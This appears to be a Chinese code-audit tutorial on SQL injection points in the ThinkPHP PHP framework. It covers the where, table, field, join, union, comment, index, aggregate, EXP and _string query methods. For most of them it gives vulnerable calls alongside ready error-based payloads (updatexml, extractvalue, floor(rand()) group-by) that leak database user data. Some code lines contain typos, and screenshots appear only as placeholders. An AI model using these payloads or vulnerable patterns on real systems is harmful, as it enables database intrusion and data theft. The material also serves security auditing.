where注入

以字符串的方式将条件作为where0方法的参数的时候就会产生SQL注入

  1. M('user')->where('id='.I('id'))->find();

提交 payload

  1. and 1=(updatexml(1,concat(0x3a,(user())),1))%23

如果是数组查询进入parseType方法分析,数组的val值会被转成int
image.png
image.png

table方法

一般情况下,操作模型的时候系统能够自动识别当前对应的数据表,用到table方法的场景就是切换数据表查询

  1. $map['tab']= I('tab').M('user")->table($map)->where('1=1')->find():

究其原因是query方法
image.png
image.png
image.png

field注入

Field方法操作表中字段,限制查询返回的结果,

  1. M('user')->field(array('id','username'))->select();

只要field方法里的参数可控,不管是数组还是字符申,都是可以被注入的。

  1. M('user')->field(array('id','username'=>'uname'))->select();

alias,join,union 方法

alias用于设置当前数据表的别名,便于使用其他的连贯操作例如join方法等。
Alias方法 操作表的别名,和field方法用法类似。
它一般和join方法成对出现,用于对数据的连贯操作
出现join和union方法的时候,只要能控制参数一般情况下都会产生注入。
image.png

  1. (select 1 from (select count(*),concat(floor(rand(0)*2),(substring((select(user())),1,62)))from information_schema.tables group by a)b)

group方法

  1. $data = M('user')->field('max(score),username')->group('score')->select();
  2. dump($data);

having 方法

  1. $data = M('user')->field('max(score),username')->group('score')->having('score>1')->select();
  2. dump($data);

image.png

comment,index方法

  1. comment 方法

COMMENT方法 用于在生成的SQL语句中添加注释内容

  1. $data = M('user')->comment('a')->where('1=1')->find();
  2. $dump($data);
  3. Payload:*/procedure analyse(extractvalue(rand().concat(0x3a,user())),1);%23
  1. index方法

index方法用于数据集的强制素引操作,对查询强制使用userid素引,userid必须是数据表实际创建的索引名称。

  1. $data = M('user')->index('userid')->select();
  2. $dump($data);
  3. Payload:*/procedure analyse(extractvalue(rand().concat(0x3a,user())),1);%23

query,execute,聚合方法

  1. query方法;

    1. $data = M()->query('select * from thinkphp_user');
    2. dump($data);
  2. excute方法

    1. $data = M()->execute("update thinkphp_user set username='user' where id=1");
  3. 聚合方法

count,max,min,avg,sum这五个方法注入场景类似

  1. $data=M('user')->count(I('parameter'));
  2. dump($data);

注入方式:

  1. and 1=(updatexml(1,concat(0x3a,user())),1);%23

EXP注入

  1. $map=array();
  2. $map['id']=I('id');
  3. $data = M('user')->where($map)->find();
  4. dump($data);
  1. id=[0]==11 and 1=(updatexml(1,concat(0x3a,(user())),1))%23

image.png

Action注入

一般审计的时候先董找1方法或者$_GET,$_POST等原生态的请求,从而容易忽略掉Action参数传入的变量
image.png

组合注入

组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string),请求字符串查询(_query)

_string注入

数组条件可以和字符串条件(采用_string作为查询条件)混合使用
image.png
image.png